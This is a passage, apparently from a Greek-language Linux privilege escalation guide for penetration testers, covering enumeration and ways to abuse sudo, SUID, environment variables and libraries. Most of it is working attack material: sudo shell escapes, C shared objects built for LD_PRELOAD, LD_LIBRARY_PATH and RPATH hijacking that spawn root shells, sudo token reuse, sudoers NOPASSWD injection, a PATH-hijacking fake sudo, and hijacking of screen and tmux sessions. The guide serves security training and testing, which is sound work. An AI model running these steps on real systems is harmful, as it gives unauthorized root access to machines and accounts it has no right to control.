, μπορείτε να εκτελείτε εντολές απευθείας στο container με πρόσβαση επιπέδου root στο filesystem του host.
Others
Σημειώστε ότι αν έχετε δικαιώματα εγγραφής πάνω στο docker socket επειδή βρίσκεστε inside the group docker
έχετε more ways to escalate privileges. Αν το docker API is listening in a port you can also be able to compromise it.
Ελέγξτε περισσότερους τρόπους για να διαφύγετε από το docker ή να το καταχραστείτε για να κλιμακώσετε προνόμια στο:
Containerd (ctr) privilege escalation
If you find that you can use the ctr
command read the following page as you may be able to abuse it to escalate privileges:
Containerd (ctr) Privilege Escalation
RunC privilege escalation
If you find that you can use the runc
command read the following page as you may be able to abuse it to escalate privileges:
D-Bus
D-Bus είναι ένα σύνθετο σύστημα Inter-Process Communication (IPC) που επιτρέπει σε εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα με αποδοτικό τρόπο. Σχεδιασμένο για τα σύγχρονα Linux συστήματα, προσφέρει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, παρόμοιο με ενισχυμένα UNIX domain sockets. Επιπλέον, βοηθά στη μετάδοση γεγονότων ή σημάτων, διευκολύνοντας την ομαλή ενσωμάτωση μεταξύ των στοιχείων του συστήματος. Για παράδειγμα, ένα σήμα από έναν Bluetooth daemon σχετικά με εισερχόμενη κλήση μπορεί να οδηγήσει σε σίγαση ενός music player, βελτιώνοντας την εμπειρία χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα remote object σύστημα, απλοποιώντας αιτήματα υπηρεσιών και κλήσεις μεθόδων μεταξύ εφαρμογών, κάνοντας διαδικασίες που παλαιότερα ήταν πολύπλοκες πιο απλές.
Το D-Bus λειτουργεί με μοντέλο allow/deny, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπή σημάτων κ.λπ.) βάσει του αθροιστικού αποτελέσματος κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το bus, και ενδέχεται να επιτρέψουν κλιμάκωση προνομίων μέσω της εκμετάλλευσης αυτών των δικαιωμάτων.
Παρατίθεται ένα παράδειγμα τέτοιας πολιτικής στο /etc/dbus-1/system.d/wpa_supplicant.conf, που περιγράφει δικαιώματα για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από fi.w1.wpa_supplicant1.
Πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν καθολικά, ενώ οι πολιτικές στο πλαίσιο "default" εφαρμόζονται σε όλους όσους δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές.
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
Μάθε πώς να enumerate και να exploit μια επικοινωνία D-Bus εδώ:
D-Bus Enumeration & Command Injection Privilege Escalation
Δίκτυο
Είναι πάντα ενδιαφέρον να enumerate το δίκτυο και να εντοπίσεις τη θέση της μηχανής.
Γενική enumeration
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#Files used by network services
lsof -i
Open ports
Ελέγξτε πάντα τις δικτυακές υπηρεσίες που τρέχουν στη μηχανή και με τις οποίες δεν μπορέσατε να αλληλεπιδράσετε πριν αποκτήσετε πρόσβαση σε αυτήν:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
Sniffing
Ελέγξτε αν μπορείτε να sniff traffic. Αν ναι, μπορεί να καταφέρετε να αποκτήσετε κάποια credentials.
timeout 1 tcpdump
Χρήστες
Γενική καταγραφή
Ελέγξτε ποιος είστε, ποιες privileges έχετε, ποιοι users υπάρχουν στα συστήματα, ποιοι μπορούν να κάνουν login και ποιοι έχουν root privileges:
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
Μεγάλο UID
Ορισμένες εκδόσεις Linux επηρεάστηκαν από ένα σφάλμα που επιτρέπει σε χρήστες με UID > INT_MAX να αποκτήσουν αυξημένα προνόμια. More info: here, here and here.
Εκμεταλλευτείτε το χρησιμοποιώντας: systemd-run -t /bin/bash
Ομάδες
Ελέγξτε αν είστε μέλος κάποιας ομάδας που θα μπορούσε να σας δώσει δικαιώματα root:
Interesting Groups - Linux Privesc
Πρόχειρο
Ελέγξτε αν υπάρχει κάτι ενδιαφέρον στο πρόχειρο (αν είναι δυνατόν)
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
Πολιτική Κωδικών Πρόσβασης
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
Γνωστά passwords
Αν γνωρίζεις κάποιο password του περιβάλλοντος, πρόσπαθησε να κάνεις login ως κάθε user χρησιμοποιώντας το password.
Su Brute
Αν δεν σε ενοχλεί να παράγεις πολύ θόρυβο και τα binaries su
και timeout
είναι παρόντα στον υπολογιστή, μπορείς να προσπαθήσεις να brute-force έναν user χρησιμοποιώντας su-bruteforce.
Linpeas με την παράμετρο -a
επίσης προσπαθεί να brute-force users.
Writable PATH abuses
$PATH
Αν διαπιστώσεις ότι μπορείς να γράψεις μέσα σε κάποιον φάκελο του $PATH ίσως να μπορέσεις να ανεβάσεις privileges δημιουργώντας ένα backdoor μέσα στον εγγράψιμο φάκελο με το όνομα κάποιου command που πρόκειται να εκτελεστεί από διαφορετικό user (ιδανικά root) και το οποίο δεν φορτώνεται από φάκελο που βρίσκεται πριν από τον εγγράψιμο φάκελό σου στο $PATH.
SUDO and SUID
Μπορεί να σου επιτρέπεται να εκτελέσεις κάποιο command χρησιμοποιώντας sudo ή κάποια binaries να έχουν το suid bit. Έλεγξε το χρησιμοποιώντας:
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
Κάποιες απρόσμενες εντολές σας επιτρέπουν να διαβάσετε και/ή να γράψετε αρχεία ή ακόμη και να εκτελέσετε μια εντολή. Για παράδειγμα:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
Η ρύθμιση του sudo μπορεί να επιτρέψει σε έναν χρήστη να εκτελέσει κάποια εντολή με τα προνόμια άλλου χρήστη χωρίς να γνωρίζει τον κωδικό πρόσβασης.
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
Σε αυτό το παράδειγμα ο χρήστης demo
μπορεί να εκτελέσει το vim
ως root
. Είναι πλέον απλό να αποκτήσει κανείς ένα shell προσθέτοντας ένα ssh key στον κατάλογο root
ή καλώντας sh
.
sudo vim -c '!sh'
SETENV
Αυτή η οδηγία επιτρέπει στον χρήστη να set an environment variable κατά την εκτέλεση μιας εντολής:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Το παράδειγμα αυτό, βασισμένο στο HTB machine Admirer, ήταν ευάλωτο σε PYTHONPATH hijacking για να φορτώσει μια αυθαίρετη python βιβλιοθήκη ενώ εκτελούνταν το script ως root:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
BASH_ENV διατηρείται μέσω sudo env_keep → root shell
Εάν οι sudoers διατηρούν το BASH_ENV
(π.χ. Defaults env_keep+="ENV BASH_ENV"
), μπορείτε να εκμεταλλευτείτε τη μη-διαδραστική συμπεριφορά εκκίνησης του Bash για να εκτελέσετε αυθαίρετο κώδικα ως root όταν καλείτε μια επιτρεπόμενη εντολή.
-
Γιατί λειτουργεί: Σε μη-διαδραστικά shells, το Bash αξιολογεί το
$BASH_ENV
και κάνει source σε αυτό το αρχείο πριν τρέξει το στοχευμένο script. Πολλοί κανόνες sudo επιτρέπουν την εκτέλεση ενός script ή ενός shell wrapper. Εάν τοBASH_ENV
διατηρείται από το sudo, το αρχείο σας θα γίνει source με δικαιώματα root. -
Απαιτήσεις:
-
Ένας κανόνας sudo που μπορείτε να τρέξετε (οποιοσδήποτε στόχος που καλεί
/bin/bash
μη-διαδραστικά, ή οποιοδήποτε bash script). -
Το
BASH_ENV
να περιλαμβάνεται στοenv_keep
(ελέγξτε μεsudo -l
). -
PoC:
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
- Σκληροποίηση:
- Αφαιρέστε
BASH_ENV
(καιENV
) απόenv_keep
, προτιμήστεenv_reset
. - Αποφύγετε shell wrappers για sudo-allowed commands; χρησιμοποιήστε minimal binaries.
- Εξετάστε sudo I/O logging και alerting όταν χρησιμοποιούνται preserved env vars.
Sudo μονοπάτια παράκαμψης εκτέλεσης
Μεταβείτε για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε symlinks. Για παράδειγμα στο αρχείο sudoers: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
Αν χρησιμοποιηθεί wildcard (*), γίνεται ακόμα πιο εύκολο:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
Μέτρα αντιμετώπισης: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Sudo command/SUID binary χωρίς καθορισμένο path εντολής
Εάν η sudo permission έχει δοθεί σε μία μόνο εντολή χωρίς να καθοριστεί το path: hacker10 ALL= (root) less, μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί εάν ένα suid binary εκτελεί άλλη εντολή χωρίς να καθορίζει τη διαδρομή προς αυτήν (πάντα ελέγξτε με strings το περιεχόμενο ενός περίεργου SUID binary)).
SUID binary με καθορισμένη διαδρομή εντολής
Εάν το suid binary εκτελεί άλλη εντολή καθορίζοντας τη διαδρομή, τότε μπορείτε να δοκιμάσετε να export a function με το όνομα της εντολής που καλεί το suid αρχείο.
Για παράδειγμα, εάν ένα suid binary καλεί /usr/sbin/service apache2 start πρέπει να προσπαθήσετε να δημιουργήσετε τη function και να την exportάρετε:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
Τότε, όταν καλέσετε το suid binary, αυτή η συνάρτηση θα εκτελεστεί
LD_PRELOAD & LD_LIBRARY_PATH
Η μεταβλητή περιβάλλοντος LD_PRELOAD χρησιμοποιείται για να καθορίσει μία ή περισσότερες κοινόχρηστες βιβλιοθήκες (.so αρχεία) που θα φορτωθούν από τον φορτωτή πριν από όλες τις άλλες, συμπεριλαμβανομένης της standard C βιβλιοθήκης (libc.so
). Αυτή η διαδικασία είναι γνωστή ως προφόρτωση μιας βιβλιοθήκης.
Ωστόσο, για να διατηρηθεί η ασφάλεια του συστήματος και να αποτραπεί η εκμετάλλευση αυτής της δυνατότητας, ειδικά με εκτελέσιμα suid/sgid, το σύστημα επιβάλλει ορισμένες προϋποθέσεις:
- Ο φορτωτής αγνοεί LD_PRELOAD για εκτελέσιμα όπου το πραγματικό user ID (ruid) δεν ταιριάζει με το αποτελεσματικό user ID (euid).
- Για εκτελέσιμα με suid/sgid, προφορτώνονται μόνο βιβλιοθήκες σε τυπικές διαδρομές που είναι επίσης suid/sgid.
Privilege escalation μπορεί να προκύψει αν έχετε τη δυνατότητα να εκτελείτε εντολές με sudo
και η έξοδος του sudo -l
περιλαμβάνει τη δήλωση env_keep+=LD_PRELOAD. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος LD_PRELOAD να διατηρείται και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με sudo
, ενδεχομένως οδηγώντας στην εκτέλεση αυθαίρετου κώδικα με αυξημένα προνόμια.
Defaults env_keep += LD_PRELOAD
Αποθηκεύστε ως /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Στη συνέχεια μεταγλωττίστε το χρησιμοποιώντας:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Τελικά, escalate privileges τρέχοντας
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
caution
Μια παρόμοια privesc μπορεί να εκμεταλλευτεί αν ο επιτιθέμενος ελέγχει την περιβαλλοντική μεταβλητή LD_LIBRARY_PATH, επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες.
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID Binary – .so injection
Όταν συναντήσετε ένα binary με δικαιώματα SUID που φαίνεται ασυνήθιστο, είναι καλή πρακτική να επαληθεύσετε αν φορτώνει σωστά αρχεία .so. Αυτό μπορεί να ελεγχθεί εκτελώντας την ακόλουθη εντολή:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
Για παράδειγμα, η εμφάνιση σφάλματος όπως "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" υποδηλώνει πιθανότητα εκμετάλλευσης.
Για να το εκμεταλλευτεί κάποιος, θα προχωρούσε δημιουργώντας ένα αρχείο C, π.χ. "/path/to/.config/libcalc.c", που περιέχει τον ακόλουθο κώδικα:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει στην ανύψωση προνομίων με την τροποποίηση των δικαιωμάτων αρχείων και την εκτέλεση ενός shell με αυξημένα προνόμια.
Μεταγλωττίστε το παραπάνω C αρχείο σε shared object (.so) αρχείο με:
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
Τέλος, η εκτέλεση του επηρεασμένου SUID binary θα πρέπει να ενεργοποιήσει το exploit, επιτρέποντας ενδεχόμενη παραβίαση του συστήματος.
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
Τώρα που βρήκαμε ένα SUID binary που φορτώνει μια library από έναν folder όπου μπορούμε να write, ας δημιουργήσουμε τη library σε αυτόν τον folder με το απαραίτητο όνομα:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
Εάν λάβετε ένα σφάλμα όπως
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
αυτό σημαίνει ότι η βιβλιοθήκη που έχετε δημιουργήσει πρέπει να έχει μια συνάρτηση που ονομάζεται a_function_name
.
GTFOBins
GTFOBins είναι μια επιμελημένη λίστα από Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψουν τοπικούς περιορισμούς ασφαλείας. GTFOArgs είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε να εισάγετε μόνο arguments σε μια εντολή.
Το project συγκεντρώνει νόμιμες λειτουργίες των Unix binaries που μπορούν να καταχραστούν για να διαφύγουν από restricted shells, να eskalate ή να διατηρήσουν elevated privileges, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες post-exploitation εργασίες.
gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'
FallOfSudo
Αν μπορείτε να τρέξετε sudo -l
μπορείτε να χρησιμοποιήσετε το εργαλείο FallOfSudo για να ελέγξετε αν βρίσκει τρόπο να εκμεταλλευτεί οποιονδήποτε sudo κανόνα.
Reusing Sudo Tokens
Σε περιπτώσεις όπου έχετε sudo access αλλά όχι τον κωδικό, μπορείτε να κλιμακώσετε τα προνόμια περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια αρπάζοντας το session token.
Απαιτήσεις για την κλιμάκωση προνομίων:
- Έχετε ήδη ένα shell ως χρήστης "sampleuser"
- "sampleuser" έχει χρησιμοποιήσει
sudo
για να εκτελέσει κάτι στα τελευταία 15mins (από προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιήσουμεsudo
χωρίς να εισάγουμε οποιονδήποτε κωδικό) cat /proc/sys/kernel/yama/ptrace_scope
είναι 0gdb
είναι προσβάσιμο (μπορείτε να το ανεβάσετε)
(Μπορείτε προσωρινά να ορίσετε το ptrace_scope με echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
ή μόνιμα τροποποιώντας /etc/sysctl.d/10-ptrace.conf
και ορίζοντας kernel.yama.ptrace_scope = 0
)
Αν πληρούνται όλες αυτές οι προϋποθέσεις, μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας: https://github.com/nongiach/sudo_inject
- Το πρώτο exploit (
exploit.sh
) θα δημιουργήσει το binaryactivate_sudo_token
στο /tmp. Μπορείτε να το χρησιμοποιήσετε για να ενεργοποιήσετε το sudo token στη session σας (δεν θα πάρετε αυτόματα root shell, κάντεsudo su
):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- Το δεύτερο exploit (
exploit_v2.sh
) θα δημιουργήσει ένα sh shell στο /tmp ιδιοκτησίας root με setuid
bash exploit_v2.sh
/tmp/sh -p
- Το τρίτο exploit (
exploit_v3.sh
) θα δημιουργήσει ένα sudoers file που κάνει τα sudo tokens αιώνια και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν sudo
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
Αν έχετε write permissions στον φάκελο ή σε κάποιο από τα αρχεία που δημιουργήθηκαν μέσα σε αυτόν μπορείτε να χρησιμοποιήσετε το binary write_sudo_token για να create a sudo token for a user and PID.
Για παράδειγμα, αν μπορείτε να overwrite το αρχείο /var/run/sudo/ts/sampleuser και έχετε ένα shell ως user με PID 1234, μπορείτε να obtain sudo privileges χωρίς να χρειάζεται να γνωρίζετε το password κάνοντας:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
Το αρχείο /etc/sudoers
και τα αρχεία μέσα στο /etc/sudoers.d
ρυθμίζουν ποιος μπορεί να χρησιμοποιήσει το sudo
και με ποιον τρόπο. Αυτά τα αρχεία από προεπιλογή μπορούν να διαβαστούν μόνο από τον χρήστη root και την ομάδα root.
Εάν μπορείτε να διαβάσετε αυτό το αρχείο, μπορεί να καταφέρετε να αποκτήσετε κάποιες ενδιαφέρουσες πληροφορίες, και αν μπορείτε να γράψετε σε οποιοδήποτε αρχείο θα μπορέσετε να αναβαθμίσετε δικαιώματα.
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
Αν μπορείς να γράψεις, μπορείς να καταχραστείς αυτήν την άδεια.
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
Ένας άλλος τρόπος κατάχρησης αυτών των permissions:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
Υπάρχουν μερικές εναλλακτικές στο εκτελέσιμο sudo
, όπως το doas
για το OpenBSD — θυμηθείτε να ελέγξετε τη διαμόρφωσή του στο /etc/doas.conf
.
permit nopass demo as root cmd vim
Sudo Hijacking
Αν γνωρίζετε ότι ένας χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί sudo
για να αποκτήσει αυξημένα δικαιώματα και έχετε ένα shell στο πλαίσιο αυτού του χρήστη, μπορείτε να δημιουργήσετε ένα νέο sudo εκτελέσιμο που θα εκτελέσει τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, τροποποιήστε το $PATH του πλαισίου χρήστη (για παράδειγμα προσθέτοντας το νέο path στο .bash_profile) ώστε όταν ο χρήστης εκτελεί sudo, να εκτελείται το sudo εκτελέσιμό σας.
Σημειώστε ότι αν ο χρήστης χρησιμοποιεί διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε το νέο path. Για παράδειγμα sudo-piggyback τροποποιεί ~/.bashrc
, ~/.zshrc
, ~/.bash_profile
. Μπορείτε να βρείτε άλλο παράδειγμα στο bashdoor.py
Ή τρέχοντας κάτι σαν:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
Κοινή Βιβλιοθήκη
ld.so
Το αρχείο /etc/ld.so.conf
υποδεικνύει από πού προέρχονται τα φορτωμένα αρχεία ρυθμίσεων. Τυπικά, αυτό το αρχείο περιέχει την εξής διαδρομή: include /etc/ld.so.conf.d/*.conf
Αυτό σημαίνει ότι τα αρχεία ρυθμίσεων από /etc/ld.so.conf.d/*.conf
θα διαβαστούν. Αυτά τα αρχεία ρυθμίσεων δείχνουν σε άλλους φακέλους όπου θα αναζητηθούν οι βιβλιοθήκες. Για παράδειγμα, το περιεχόμενο του /etc/ld.so.conf.d/libc.conf
είναι /usr/local/lib
. Αυτό σημαίνει ότι το σύστημα θα αναζητήσει βιβλιοθήκες μέσα στο /usr/local/lib
.
Εάν για κάποιο λόγο ένας χρήστης έχει δικαιώματα εγγραφής σε οποιοδήποτε από τα μονοπάτια που αναφέρονται: /etc/ld.so.conf
, /etc/ld.so.conf.d/
, οποιοδήποτε αρχείο μέσα στο /etc/ld.so.conf.d/
ή οποιονδήποτε φάκελο που αναφέρεται μέσα σε κάποια από τα αρχεία /etc/ld.so.conf.d/*.conf
μπορεί να είναι σε θέση να αποκτήσει αυξημένα προνόμια.
Ρίξτε μια ματιά στο πώς να εκμεταλλευτείτε αυτή την λανθασμένη διαμόρφωση στην παρακάτω σελίδα:
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
Αντιγράφοντας τη lib στο /var/tmp/flag15/
, θα χρησιμοποιηθεί από το πρόγραμμα σε αυτή τη θέση όπως ορίζεται στη μεταβλητή RPATH
.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
Στη συνέχεια, δημιουργήστε μια κακόβουλη βιβλιοθήκη στο /var/tmp
με gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Δυνατότητες
Linux capabilities παρέχουν ένα υποσύνολο των διαθέσιμων προνομίων root σε μια διεργασία. Αυτό ουσιαστικά διασπά τα προνόμια root σε μικρότερες και διακριτές μονάδες. Καθεμία από αυτές τις μονάδες μπορεί στη συνέχεια να χορηγηθεί ανεξάρτητα σε διεργασίες. Με αυτόν τον τρόπο το πλήρες σύνολο προνομίων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.
Διαβάστε την ακόλουθη σελίδα για να μάθετε περισσότερα σχετικά με capabilities και πώς να τις εκμεταλλευτείτε:
Δικαιώματα καταλόγου
Σε έναν κατάλογο, το bit για το "execute" υποδηλώνει ότι ο επηρεαζόμενος χρήστης μπορεί να "cd" στον φάκελο.
Το "read" bit υποδηλώνει ότι ο χρήστης μπορεί να απαριθμήσει τα αρχεία, και το "write" bit υποδηλώνει ότι ο χρήστης μπορεί να διαγράψει και να δημιουργήσει νέα αρχεία.
ACLs
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αποτελούν το δευτερεύον επίπεδο δικαιωμάτων προαιρετικής φύσης, ικανό να υπερισχύει των παραδοσιακών ugo/rwx δικαιωμάτων. Αυτά τα δικαιώματα βελτιώνουν τον έλεγχο πρόσβασης σε αρχείο ή κατάλογο επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο λεπτομερούς διαχείρισης εξασφαλίζει πιο ακριβή έλεγχο πρόσβασης. Περισσότερες λεπτομέρειες μπορούν να βρεθούν here.
Δώστε user "kali" read and write permissions over a file:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
Λήψη αρχείων με συγκεκριμένα ACLs από το σύστημα:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
Ανοιχτές shell συνεδρίες
Σε παλαιότερες εκδόσεις μπορεί να hijack κάποια shell συνεδρία διαφορετικού χρήστη (root).
Σε νεότερες εκδόσεις θα μπορείτε να connect μόνο σε screen sessions του δικού σας χρήστη. Ωστόσο, μπορεί να βρείτε ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία.
screen sessions hijacking
Λίστα screen sessions
screen -ls
screen -ls <username>/ # Show another user' screen sessions
Σύνδεση σε συνεδρία
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux sessions hijacking
Αυτό ήταν ένα πρόβλημα με παλιές εκδόσεις του tmux. Δεν μπόρεσα να hijack μια συνεδρία tmux (v2.1) που δημιουργήθηκε από root ως χρήστης χωρίς προνόμια.
Λίστα συνεδριών tmux
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
Συνδέσου σε session
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
Δες Valentine box from HTB για ένα παράδειγμα.
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
Όλα τα SSL και SSH κλειδιά που δημιουργήθηκαν σε συστήματα βασισμένα σε Debian (Ubuntu, Kubuntu, κ.λπ.) μεταξύ Σεπτεμβρίου 2006 και 13 Μαΐου 2008 μπορεί να έχουν επηρεαστεί από αυτό το bug.
Αυτό το bug προκαλείται κατά τη δημιουργία νέου ssh κλειδιού σε αυτά τα OS, καθώς μόνο 32,768 παραλλαγές ήταν δυνατές. Αυτό σημαίνει ότι όλες οι πιθανότητες μπορούν να υπολογιστούν και έχοντας το ssh public key μπορείτε να αναζητήσετε το αντίστοιχο private key. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: https://github.com/g0tmi1k/debian-ssh
SSH Interesting configuration values
